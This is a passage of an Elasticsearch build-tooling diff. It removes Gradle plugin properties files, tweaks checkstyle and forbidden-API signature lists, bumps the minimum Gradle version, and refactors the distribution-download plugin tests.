Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.InternalTestArtifactPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java-rest-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java-rest-test.properties deleted file mode 100644 index 8622ed196f2c2..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java-rest-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.rest.JavaRestTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java.properties deleted file mode 100644 index 61bd1c03e7a9e..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.java.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.ElasticsearchJavaPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.jdk-download.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.jdk-download.properties deleted file mode 100644 index 7568724a32a0b..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.jdk-download.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.JdkDownloadPlugin \ No newline at end of file diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.publish.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.publish.properties deleted file mode 100644 index 52fa3b3da3016..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.publish.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.PublishPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.reaper.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.reaper.properties deleted file mode 100644 index 46d0f45ac5eaf..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.reaper.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.ReaperPlugin \ No newline at end of file diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.repositories.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.repositories.properties deleted file mode 100644 index 91fd8c3d7bc54..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.repositories.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.RepositoriesSetupPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-resources.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-resources.properties deleted file mode 100644 index 53137a0ebbbf4..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-resources.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.rest.RestResourcesPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-test.properties deleted file mode 100644 index 7d5c63c35c308..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.rest-test.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.test.RestTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-rest-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-rest-test.properties deleted file mode 100644 index 247b8f8fe5454..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-rest-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.StandaloneRestTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-test.properties deleted file mode 100644 index a9aadeb855deb..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.standalone-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.StandaloneTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.symbolic-link-preserving-tar.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.symbolic-link-preserving-tar.properties deleted file mode 100644 index 0ad0ead7dbd93..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.symbolic-link-preserving-tar.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.tar.SymoblicLinkPreservingTarPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-base.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-base.properties deleted file mode 100644 index 5359cbd31891a..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-base.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.ElasticsearchTestBasePlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-dependencies.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-dependencies.properties deleted file mode 100644 index 77a8b6b264631..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-dependencies.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.TestWithDependenciesPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-ssl.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-ssl.properties deleted file mode 100644 index 4211fef522da0..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test-with-ssl.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.TestWithSslPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test.fixtures.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test.fixtures.properties deleted file mode 100644 index aac84c21ee637..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.test.fixtures.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.testfixtures.TestFixturesPlugin \ No newline at end of file diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.testclusters.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.testclusters.properties deleted file mode 100644 index 8d81f05fc69f5..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.testclusters.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.testclusters.TestClustersPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.validate-rest-spec.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.validate-rest-spec.properties deleted file mode 100644 index d11c864c3228e..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.validate-rest-spec.properties +++ /dev/null @@ -1 +0,0 @@ -implementation-class=org.elasticsearch.gradle.internal.precommit.ValidateRestSpecPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-compat-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-compat-test.properties deleted file mode 100644 index 80d7ba7fea096..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-compat-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.internal.rest.compat.YamlRestCompatTestPlugin diff --git a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-test.properties b/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-test.properties deleted file mode 100644 index c0caa6d45bf4b..0000000000000 --- a/buildSrc/src/main/resources/META-INF/gradle-plugins/elasticsearch.yaml-rest-test.properties +++ /dev/null @@ -1,9 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# - -implementation-class=org.elasticsearch.gradle.test.rest.YamlRestTestPlugin diff --git a/buildSrc/src/main/resources/checkstyle.xml b/buildSrc/src/main/resources/checkstyle.xml index 14618da1ab592..46f595349ff5a 100644 --- a/buildSrc/src/main/resources/checkstyle.xml +++ b/buildSrc/src/main/resources/checkstyle.xml @@ -28,7 +28,7 @@ characters then it'll need to scroll. This fails the build if it sees such snippets. --> - + @@ -130,7 +130,6 @@ - diff --git a/buildSrc/src/main/resources/checkstyle_ide_fragment.xml b/buildSrc/src/main/resources/checkstyle_ide_fragment.xml index 060eba540cd50..a59af90e0bcf4 100644 --- a/buildSrc/src/main/resources/checkstyle_ide_fragment.xml +++ b/buildSrc/src/main/resources/checkstyle_ide_fragment.xml @@ -15,7 +15,8 @@ - + + @@ -27,7 +28,7 @@ - + diff --git a/buildSrc/src/main/resources/checkstyle_suppressions.xml b/buildSrc/src/main/resources/checkstyle_suppressions.xml index 36a3de642e1f6..b51ae0e2fb82c 100644 --- a/buildSrc/src/main/resources/checkstyle_suppressions.xml +++ b/buildSrc/src/main/resources/checkstyle_suppressions.xml @@ -9,6 +9,7 @@ + diff --git a/buildSrc/src/main/resources/forbidden/es-all-signatures.txt b/buildSrc/src/main/resources/forbidden/es-all-signatures.txt index 5f6379f6dec50..6873720315af8 100644 --- a/buildSrc/src/main/resources/forbidden/es-all-signatures.txt +++ b/buildSrc/src/main/resources/forbidden/es-all-signatures.txt @@ -5,6 +5,8 @@ # Side Public License, v 1. java.nio.file.Paths @ Use org.elasticsearch.common.io.PathUtils.get() instead. +java.nio.file.Path#of(java.net.URI) @ Use org.elasticsearch.common.io.PathUtils.get() instead. +java.nio.file.Path#of(java.lang.String, java.lang.String[]) @ Use org.elasticsearch.common.io.PathUtils.get() instead. java.nio.file.FileSystems#getDefault() @ use org.elasticsearch.common.io.PathUtils.getDefaultFileSystem() instead. java.nio.file.Files#getFileStore(java.nio.file.Path) @ Use org.elasticsearch.env.Environment.getFileStore() instead, impacted by JDK-8034057 diff --git a/buildSrc/src/main/resources/forbidden/es-server-signatures.txt b/buildSrc/src/main/resources/forbidden/es-server-signatures.txt index c24e56a18ff6f..cee14ecb52b8d 100644 --- a/buildSrc/src/main/resources/forbidden/es-server-signatures.txt +++ b/buildSrc/src/main/resources/forbidden/es-server-signatures.txt @@ -51,6 +51,8 @@ java.nio.channels.FileChannel#read(java.nio.ByteBuffer, long) @defaultMessage Use Lucene.parseLenient instead it strips off minor version org.apache.lucene.util.Version#parseLeniently(java.lang.String) +org.apache.lucene.index.NoMergePolicy#INSTANCE @ explicit use of NoMergePolicy risks forgetting to configure NoMergeScheduler; use org.elasticsearch.common.lucene.Lucene#indexWriterConfigWithNoMerging() instead. + @defaultMessage Spawns a new thread which is solely under lucenes control use ThreadPool#relativeTimeInMillis instead org.apache.lucene.search.TimeLimitingCollector#getGlobalTimerThread() org.apache.lucene.search.TimeLimitingCollector#getGlobalCounter() diff --git a/buildSrc/src/main/resources/forbidden/snakeyaml-signatures.txt b/buildSrc/src/main/resources/forbidden/snakeyaml-signatures.txt new file mode 100644 index 0000000000000..ec9864dbd90e7 --- /dev/null +++ b/buildSrc/src/main/resources/forbidden/snakeyaml-signatures.txt @@ -0,0 +1,6 @@ +@defaultMessage Pass SafeConstructor to Yaml +org.yaml.snakeyaml.Yaml#() +org.yaml.snakeyaml.Yaml#(org.yaml.snakeyaml.DumperOptions) +org.yaml.snakeyaml.Yaml#(org.yaml.snakeyaml.LoaderOptions) +org.yaml.snakeyaml.Yaml#(org.yaml.snakeyaml.representer.Representer) +org.yaml.snakeyaml.Yaml#(org.yaml.snakeyaml.representer.Representer, org.yaml.snakeyaml.DumperOptions) diff --git a/buildSrc/src/main/resources/minimumGradleVersion b/buildSrc/src/main/resources/minimumGradleVersion index 295ec490e5620..2f963cd6d1c36 100644 --- a/buildSrc/src/main/resources/minimumGradleVersion +++ b/buildSrc/src/main/resources/minimumGradleVersion @@ -1 +1 @@ -6.8.2 \ No newline at end of file +7.0.2 \ No newline at end of file diff --git a/buildSrc/src/test/groovy/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessorTestSpec.groovy b/buildSrc/src/test/groovy/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessorTestSpec.groovy new file mode 100644 index 0000000000000..bfcfea3e2da1c --- /dev/null +++ b/buildSrc/src/test/groovy/org/elasticsearch/gradle/internal/test/rerun/executer/RerunTestResultProcessorTestSpec.groovy @@ -0,0 +1,141 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rerun.executer + +import org.gradle.api.internal.tasks.testing.TestCompleteEvent +import org.gradle.api.internal.tasks.testing.TestDescriptorInternal +import org.gradle.api.internal.tasks.testing.TestResultProcessor +import org.gradle.api.internal.tasks.testing.TestStartEvent +import org.gradle.api.tasks.testing.TestOutputEvent +import spock.lang.Specification + +class RerunTestResultProcessorTestSpec extends Specification { + + def "delegates test events"() { + given: + def delegate = Mock(TestResultProcessor) + def processor = new RerunTestResultProcessor(delegate); + def testDesciptorInternal = Mock(TestDescriptorInternal); + def testId = "TestId" + _ * testDesciptorInternal.getId() >> testId + + def testStartEvent = Mock(TestStartEvent) + def testOutputEvent = Mock(TestOutputEvent) + def testCompleteEvent = Mock(TestCompleteEvent) + + when: + processor.started(testDesciptorInternal, testStartEvent) + then: + 1 * delegate.started(testDesciptorInternal, testStartEvent) + + when: + processor.output(testId, testOutputEvent) + then: + 1 * delegate.output(testId, testOutputEvent) + + when: + processor.completed(testId, testCompleteEvent) + then: + 1 * delegate.completed(testId, testCompleteEvent) + } + + def "ignores retriggered root test events"() { + given: + def delegate = Mock(TestResultProcessor) + def processor = new RerunTestResultProcessor(delegate); + def rootDescriptor = descriptor("rootId") + def testStartEvent = Mock(TestStartEvent) + + when: + processor.started(rootDescriptor, testStartEvent) + processor.started(rootDescriptor, testStartEvent) + then: + 1 * delegate.started(rootDescriptor, testStartEvent) + _ * delegate.started(_, _) + } + + def "ignores root complete event when tests not finished"() { + given: + def delegate = Mock(TestResultProcessor) + def processor = new RerunTestResultProcessor(delegate); + + def rootDescriptor = descriptor("rootId") + def rootTestStartEvent = startEvent("rootId") + def rootCompleteEvent = Mock(TestCompleteEvent) + + def testDescriptor1 = descriptor("testId1") + def testStartEvent1 = startEvent("testId1") + def testCompleteEvent1 = Mock(TestCompleteEvent) + + def testDescriptor2 = descriptor("testId2") + def testStartEvent2 = startEvent("testId2") + def testError2 = Mock(Throwable) + + when: + processor.started(rootDescriptor, rootTestStartEvent) + processor.started(testDescriptor1, testStartEvent1) + processor.started(testDescriptor2, testStartEvent2) + processor.failure("testId2", testError2) + processor.completed("rootId", rootCompleteEvent) + + then: + 1 * delegate.started(rootDescriptor, rootTestStartEvent) + 1 * delegate.started(testDescriptor1, testStartEvent1) + 1 * delegate.started(testDescriptor2, testStartEvent2) + 1 * delegate.failure("testId2", testError2) + 0 * delegate.completed("rootId", rootCompleteEvent) + + when: + processor.completed("testId1", testCompleteEvent1) + processor.completed("rootId", rootCompleteEvent) + + then: + 1 * delegate.completed("testId1", testCompleteEvent1) + 1 * delegate.completed("rootId", rootCompleteEvent) + } + + def "events for aborted tests are ignored"() { + given: + def delegate = Mock(TestResultProcessor) + def processor = new RerunTestResultProcessor(delegate); + def rootDescriptor = descriptor("rootId") + def rootTestStartEvent = startEvent("rootId") + + def testDescriptor = descriptor("testId") + def testStartEvent = startEvent("testId") + def testCompleteEvent = Mock(TestCompleteEvent) + + processor.started(rootDescriptor, rootTestStartEvent) + processor.started(testDescriptor, testStartEvent) + + when: + processor.reset() + processor.completed("testId", testCompleteEvent) + then: + 0 * delegate.completed("testId", testCompleteEvent) + } + + TestDescriptorInternal descriptor(String id) { + def desc = Mock(TestDescriptorInternal) + _ * desc.getId() >> id + desc + } + + TestStartEvent startEvent(String parentId) { + def event = Mock(TestStartEvent) + _ * event.getParentId() >> parentId + event + } + +// TestFinishEvent finishEvent(String parentId) { +// def event = Mock(TestFinishEvent) +// _ * event.getParentId() >> parentId +// event +// } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/AbstractDistributionDownloadPluginTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/AbstractDistributionDownloadPluginTests.java new file mode 100644 index 0000000000000..75b4c8d09821a --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/AbstractDistributionDownloadPluginTests.java @@ -0,0 +1,112 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle; + +import org.elasticsearch.gradle.internal.BwcVersions; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; +import org.gradle.api.NamedDomainObjectContainer; +import org.gradle.api.Project; +import org.gradle.testfixtures.ProjectBuilder; + +import java.io.File; +import java.util.Arrays; +import java.util.TreeSet; + +public class AbstractDistributionDownloadPluginTests extends GradleUnitTestCase { + protected static Project rootProject; + protected static Project archivesProject; + protected static Project packagesProject; + protected static Project bwcProject; + + protected static final Version BWC_MAJOR_VERSION = Version.fromString("2.0.0"); + protected static final Version BWC_MINOR_VERSION = Version.fromString("1.1.0"); + protected static final Version BWC_STAGED_VERSION = Version.fromString("1.0.0"); + protected static final Version BWC_BUGFIX_VERSION = Version.fromString("1.0.1"); + protected static final Version BWC_MAINTENANCE_VERSION = Version.fromString("0.90.1"); + + protected static final BwcVersions BWC_MINOR = new BwcVersions( + new TreeSet<>(Arrays.asList(BWC_BUGFIX_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), + BWC_MAJOR_VERSION + ); + protected static final BwcVersions BWC_STAGED = new BwcVersions( + new TreeSet<>(Arrays.asList(BWC_STAGED_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), + BWC_MAJOR_VERSION + ); + protected static final BwcVersions BWC_BUGFIX = new BwcVersions( + new TreeSet<>(Arrays.asList(BWC_BUGFIX_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), + BWC_MAJOR_VERSION + ); + protected static final BwcVersions BWC_MAINTENANCE = new BwcVersions( + new TreeSet<>(Arrays.asList(BWC_MAINTENANCE_VERSION, BWC_STAGED_VERSION, BWC_MINOR_VERSION)), + BWC_MINOR_VERSION + ); + + protected static String projectName(String base, boolean bundledJdk) { + String prefix = bundledJdk == false ? "no-jdk-" : ""; + return prefix + base; + } + + protected void checkBwc( + String projectName, + String config, + Version version, + ElasticsearchDistributionType type, + ElasticsearchDistribution.Platform platform, + BwcVersions bwcVersions, + boolean isInternal + ) { + Project project = createProject(bwcVersions, isInternal); + Project archiveProject = ProjectBuilder.builder().withParent(bwcProject).withName(projectName).build(); + archiveProject.getConfigurations().create(config); + archiveProject.getArtifacts().add(config, new File("doesnotmatter")); + createDistro(project, "distro", version.toString(), type, platform, true); + } + + protected ElasticsearchDistribution createDistro( + Project project, + String name, + String version, + ElasticsearchDistributionType type, + ElasticsearchDistribution.Platform platform, + Boolean bundledJdk + ) { + NamedDomainObjectContainer distros = DistributionDownloadPlugin.getContainer(project); + return distros.create(name, distro -> { + if (version != null) { + distro.setVersion(version); + } + if (type != null) { + distro.setType(type); + } + if (platform != null) { + distro.setPlatform(platform); + } + if (bundledJdk != null) { + distro.setBundledJdk(bundledJdk); + } + }).maybeFreeze(); + } + + protected Project createProject(BwcVersions bwcVersions, boolean isInternal) { + rootProject = ProjectBuilder.builder().build(); + BuildParams.init(params -> params.setIsInternal(isInternal)); + Project distributionProject = ProjectBuilder.builder().withParent(rootProject).withName("distribution").build(); + archivesProject = ProjectBuilder.builder().withParent(distributionProject).withName("archives").build(); + packagesProject = ProjectBuilder.builder().withParent(distributionProject).withName("packages").build(); + bwcProject = ProjectBuilder.builder().withParent(distributionProject).withName("bwc").build(); + Project project = ProjectBuilder.builder().withParent(rootProject).build(); + if (bwcVersions != null) { + project.getExtensions().getExtraProperties().set("bwcVersions", bwcVersions); + } + project.getPlugins().apply("elasticsearch.distribution-download"); + return project; + } + +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/DistributionDownloadPluginTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/DistributionDownloadPluginTests.java index 82e7518657a09..769e3dd0561f3 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/DistributionDownloadPluginTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/DistributionDownloadPluginTests.java @@ -8,57 +8,24 @@ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.ElasticsearchDistribution.Flavor; import org.elasticsearch.gradle.ElasticsearchDistribution.Platform; -import org.elasticsearch.gradle.ElasticsearchDistribution.Type; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.test.GradleUnitTestCase; -import org.gradle.api.NamedDomainObjectContainer; +import org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes; import org.gradle.api.Project; import org.gradle.testfixtures.ProjectBuilder; import java.io.File; -import java.util.Arrays; -import java.util.TreeSet; import static org.hamcrest.core.StringContains.containsString; -public class DistributionDownloadPluginTests extends GradleUnitTestCase { - private static Project rootProject; - private static Project archivesProject; - private static Project packagesProject; - private static Project bwcProject; - - private static final Version BWC_MAJOR_VERSION = Version.fromString("2.0.0"); - private static final Version BWC_MINOR_VERSION = Version.fromString("1.1.0"); - private static final Version BWC_STAGED_VERSION = Version.fromString("1.0.0"); - private static final Version BWC_BUGFIX_VERSION = Version.fromString("1.0.1"); - private static final Version BWC_MAINTENANCE_VERSION = Version.fromString("0.90.1"); - private static final BwcVersions BWC_MINOR = new BwcVersions( - new TreeSet<>(Arrays.asList(BWC_BUGFIX_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), - BWC_MAJOR_VERSION - ); - private static final BwcVersions BWC_STAGED = new BwcVersions( - new TreeSet<>(Arrays.asList(BWC_STAGED_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), - BWC_MAJOR_VERSION - ); - private static final BwcVersions BWC_BUGFIX = new BwcVersions( - new TreeSet<>(Arrays.asList(BWC_BUGFIX_VERSION, BWC_MINOR_VERSION, BWC_MAJOR_VERSION)), - BWC_MAJOR_VERSION - ); - private static final BwcVersions BWC_MAINTENANCE = new BwcVersions( - new TreeSet<>(Arrays.asList(BWC_MAINTENANCE_VERSION, BWC_STAGED_VERSION, BWC_MINOR_VERSION)), - BWC_MINOR_VERSION - ); +public class DistributionDownloadPluginTests extends AbstractDistributionDownloadPluginTests { public void testVersionDefault() { ElasticsearchDistribution distro = checkDistro( createProject(null, false), "testdistro", null, - Type.ARCHIVE, + ElasticsearchDistributionTypes.ARCHIVE, Platform.LINUX, - Flavor.OSS, true ); assertEquals(distro.getVersion(), VersionProperties.getElasticsearch()); @@ -69,25 +36,16 @@ public void testBadVersionFormat() { createProject(null, false), "testdistro", "badversion", - Type.ARCHIVE, + ElasticsearchDistributionTypes.ARCHIVE, Platform.LINUX, - Flavor.OSS, true, "Invalid version format: 'badversion'" ); } public void testTypeDefault() { - ElasticsearchDistribution distro = checkDistro( - createProject(null, false), - "testdistro", - "5.0.0", - null, - Platform.LINUX, - Flavor.OSS, - true - ); - assertEquals(distro.getType(), Type.ARCHIVE); + ElasticsearchDistribution distro = checkDistro(createProject(null, false), "testdistro", "5.0.0", null, Platform.LINUX, true); + assertEquals(distro.getType(), ElasticsearchDistributionTypes.ARCHIVE); } public void testPlatformDefault() { @@ -95,9 +53,8 @@ public void testPlatformDefault() { createProject(null, false), "testdistro", "5.0.0", - Type.ARCHIVE, + ElasticsearchDistributionTypes.ARCHIVE, null, - Flavor.OSS, true ); assertEquals(distro.getPlatform(), ElasticsearchDistribution.CURRENT_PLATFORM); @@ -108,48 +65,20 @@ public void testPlatformForIntegTest() { createProject(null, false), "testdistro", "5.0.0", - Type.INTEG_TEST_ZIP, + ElasticsearchDistributionTypes.INTEG_TEST_ZIP, Platform.LINUX, null, - null, "platform cannot be set on elasticsearch distribution [testdistro]" ); } - public void testFlavorDefault() { - ElasticsearchDistribution distro = checkDistro( - createProject(null, false), - "testdistro", - "5.0.0", - Type.ARCHIVE, - Platform.LINUX, - null, - true - ); - assertEquals(distro.getFlavor(), Flavor.DEFAULT); - } - - public void testFlavorForIntegTest() { - assertDistroError( - createProject(null, false), - "testdistro", - "5.0.0", - Type.INTEG_TEST_ZIP, - null, - Flavor.OSS, - null, - "flavor [oss] not allowed for elasticsearch distribution [testdistro] of type [integ_test_zip]" - ); - } - public void testBundledJdkDefault() { ElasticsearchDistribution distro = checkDistro( createProject(null, false), "testdistro", "5.0.0", - Type.ARCHIVE, + ElasticsearchDistributionTypes.ARCHIVE, Platform.LINUX, - null, true ); assertTrue(distro.getBundledJdk()); @@ -160,8 +89,7 @@ public void testBundledJdkForIntegTest() { createProject(null, false), "testdistro", "5.0.0", - Type.INTEG_TEST_ZIP, - null, + ElasticsearchDistributionTypes.INTEG_TEST_ZIP, null, true, "bundledJdk cannot be set on elasticsearch distribution [testdistro]" @@ -173,67 +101,41 @@ public void testLocalCurrentVersionIntegTestZip() { Project archiveProject = ProjectBuilder.builder().withParent(archivesProject).withName("integ-test-zip").build(); archiveProject.getConfigurations().create("default"); archiveProject.getArtifacts().add("default", new File("doesnotmatter")); - createDistro(project, "distro", VersionProperties.getElasticsearch(), Type.INTEG_TEST_ZIP, null, null, null); + createDistro(project, "distro", VersionProperties.getElasticsearch(), ElasticsearchDistributionTypes.INTEG_TEST_ZIP, null, null); } public void testLocalCurrentVersionArchives() { for (Platform platform : Platform.values()) { - for (Flavor flavor : Flavor.values()) { - for (boolean bundledJdk : new boolean[] { true, false }) { - // create a new project in each iteration, so that we know we are resolving the only additional project being created - Project project = createProject(BWC_MINOR, true); - String projectName = projectName(platform.toString(), flavor, bundledJdk); - projectName += (platform == Platform.WINDOWS ? "-zip" : "-tar"); - Project archiveProject = ProjectBuilder.builder().withParent(archivesProject).withName(projectName).build(); - 